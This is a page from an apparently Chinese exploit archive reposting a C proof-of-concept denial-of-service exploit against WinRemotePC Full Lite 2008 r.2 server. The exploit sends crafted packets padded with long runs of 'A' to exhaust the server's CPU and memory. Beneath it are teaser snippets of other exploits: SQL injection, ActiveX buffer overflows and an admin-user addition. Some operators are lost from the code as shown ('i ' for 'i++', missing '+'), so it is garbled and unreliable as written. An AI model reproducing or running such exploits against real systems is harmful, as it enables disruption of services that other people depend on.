WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit

所属分类: 网络安全 / Exploit 阅读数: 99
收藏 0 赞 0 分享
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <string.h>
#include <malloc.h>
#include <sys/stat.h>
#include <fcntl.h>

#define size 30000
#define tests 35
/*
****WinRemotePC Full Lite 2008 r.2server DOS(memory cpu consumption) vulnerability poc****

A vulnerability exists in WinRemotePC Full Lite 2008 r.2 server in the way it handles recieved packets because it
fails to properly process/sanitize arbitrarily lengths and/or invalid packets.The vulnerability occurs both before and
after login.When confrunted with such packets the server starts consuming full cpu and memory and sometims leads to
immediate crash.Although i couldn't find a packet pattern for immediate crash or exploitation the DOS is certain through
cpu memory consumption.If one of the memory or cpu events did not occur reruning the poc might fix that :D
Usage: ./dos [ip] [port]

WinRemotePC: http://www.winsoftmagic.com/winremotepc.html

Discovey POC by Shinnok raydenxy [at] yahoo dot com
*/

/*The first packet sent by the client to the server when initiating a connection split between the "Service Pack n" string which will be replaced with the variable length long strings of A's.Although the server is vulnerable to this kind of dos without requiring to shoot out a partially valid packet it is more reliable for dos this way :)*/
char p1[]="\x00\x00\x00\x00\xa7\x01\x00\x00\xa7\x01\x00\x00\x00\xff\x00\x00\xe4\x2e\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x8f\x41\x82\x7b\x38\xb1\xe4\x4e\x9b\x92\xf5\xc0\xe5\xf9\xb9\xd2\x01\x01\x00\x00\x20\x00\x00\x00\x22\xf4\xc7\x1f\xf6\x9a\x5e\x77\x1b\x42\x73\x70\x42\xda\xf0\xd1\x70\x59\xf8\xf7\x81\xb7\x97\x0a\x11\xf2\x4c\x0c\x3a\xbd\x56\xb9\x20\x00\x00\x00\xa1\xeb\x78\xe2\xbe\xeb\xb7\x3a\x33\x8c\xf4\x1f\xbd\xbe\x21\x9e\xf8\x6b\x20\x2d\x0f\x1d\x4b\x3e\x2d\x55\x5e\x45\xf6\x8a\xed\x4d\x5f\x00\x00\x00\xe8\x7c\x1a\x56\xd0\xa6\xf8\xef\x09\xea\xb6\xc8\x53\xe2\xc9\xc9\xcd\x86\x0b\xa3\x55\x90\xe6\x4c\x97\xb6\x38\x4b\xbc\x5f\xa4\x29\xa9\x2d\x1c\xa1\xa1\x7b\x1a\xbf\x97\x1a\x88\x55\x1d\x7e\xa4\x2e\x43\xf7\x57\xd6\x21\x1e\x9e\xa0\x6f\x4a\xd0\x38\xfa\xe9\x9a\x50\x8f\xd0\x43\x88\x9f\xc8\xb5\x6f\x09\x1a\xcf\x92\x74\x41\x6b\x87\xe1\xef\xbc\xe3\xf0\x99\x09\xb6\x8d\x85\x0b\x2e\xd3\x3b\x2e\x94\x00\x00\x00\x05\x00\x00\x00\x01\x00\x00\x00\x28\x0a\x00\x00\x02\x00\x00\x00";
char p2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x2a\x00\x00\x00\x30\x31\x2d\x30\x30\x2d\x36\x46\x32\x45\x30\x31\x37\x30\x2d\x31\x45\x45\x38\x2d\x34\x34\x33\x36\x2d\x41\x35\x36\x44\x2d\x30\x44\x35\x33\x39\x38\x39\x36\x46\x30\x31\x35\x02\x00\x00\x00\x30\x3a\x00\x00\x00\x00\x00\x00\x00\x00\x18\x00\x00\x00\x18\x00\x00\x00\x00\xff\x00\x00\xc4\x13\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x01\x00\x00\x00";

/*All kinds of A sizes to ensure the dos,starting with big ones at first to ensure that memory consumption occurs first and then dealing with the cpu issue.*/
int sizes[]={30000,29000,30000,127,128,255,256,511,512,1023,1024,2047,2048,3000,4000,5000,6000,7000,8000,9000,10000,11000,12000,13000,14000,15000,16000,17000,18000,19000,20000,21000,22000,23000,24000};

int main(int argc, char* argv[]){
struct sockaddr_in server;
int s,i,f;
char req[size];
char* buff;

for(i=0;i<size;i ) req[i]='A';

bzero(&server,sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr(argv[1]);
server.sin_port = htons(atoi(argv[2]));



for(i=0;i<tests;i ) {

s=socket(AF_INET,SOCK_STREAM,0);

if(connect(s,(struct sockaddr * ) &server,sizeof(struct sockaddr)) == -1) {
perror("Target blasted.\n");
return(EXIT_SUCCESS);
}

buff = malloc((sizeof(p1) sizeof(p2) sizes[i])-2);

memcpy(buff,p1,sizeof(p1)-1);
memcpy(buff sizeof(p1)-1,req,sizes[i]);
memcpy(buff sizeof(p1)-1 sizes[i],p2,sizeof(p2)-1);

write(s,buff,(sizeof(p1) sizeof(p2) sizes[i])-2);
close(s);
free(buff);
}

return(EXIT_SUCCESS);
}

更多精彩内容其他人还在看

Bea Weblogic Apache Connector Code Exec / Denial of Service Exploit

#// Bea Weblogic -- Apache Connector Remote Exploit -1day #// Should stack break latest Windows Server 2003 <address space randomizati
收藏 0 赞 0 分享

WinRemotePC Full Lite 2008 r.2server Denial of Service Exploit

#include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <sys/types.h> #include <netinet/i
收藏 0 赞 0 分享

Document Imaging SDK 10.95 ActiveX Buffer Overflow PoC

<!-- Document Imaging SDK Buffer Overflow Vulnerability DoS Proof of concept Author: r0ut3r Mail : writ3r [
收藏 0 赞 0 分享

Yahoo Messenger 8.1 ActiveX Remote Denial of Service Exploit

Yahoo Messenger 8.1 (latest) Remote DoS Safe for Scripting, Safe for Initialize <html><body> <object id=targ
收藏 0 赞 0 分享

Simple DNS Plus

#!/usr/bin/perl # Simple DNS Plus 5.0/4.1 < remote Denial of Service exploit # # usage: sdns-dos.pl <dns server> <dns s
收藏 0 赞 0 分享

NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow Exploit

----------------------------------------------------------------------------- NCTsoft AudFile.dll ActiveX Control Remote Buffer Overflow
收藏 0 赞 0 分享

Pligg

#!/usr/bin/perl -w use LWP::UserAgent; use MIME::Base64; use Digest::MD5 qw(md5_hex); use Getopt::Std; getopts('h:', %args
收藏 0 赞 0 分享

CoolPlayer m3u File Local Buffer Overflow Exploit

#!/usr/bin/perl # k`sOSe - 07/29/2008 use warnings; use strict; # http://www.metasploit.com # EXITFUNC=seh, CMD=c:WINDOWSsystem
收藏 0 赞 0 分享

eNdonesia 8.4 (Calendar Module) Remote SQL Injection Exploit

#!/usr/bin/perl #/----------------------------------------------- #| /----------------------------------------- | #| | Remote SQL
收藏 0 赞 0 分享

HIOX Random Ad 1.3 Arbitrary Add Admin User Exploit

<?php @session_start(); ?> <table align=center width=72% height=95% ><tr><td> <?php /* HIOX Ran
收藏 0 赞 0 分享
查看更多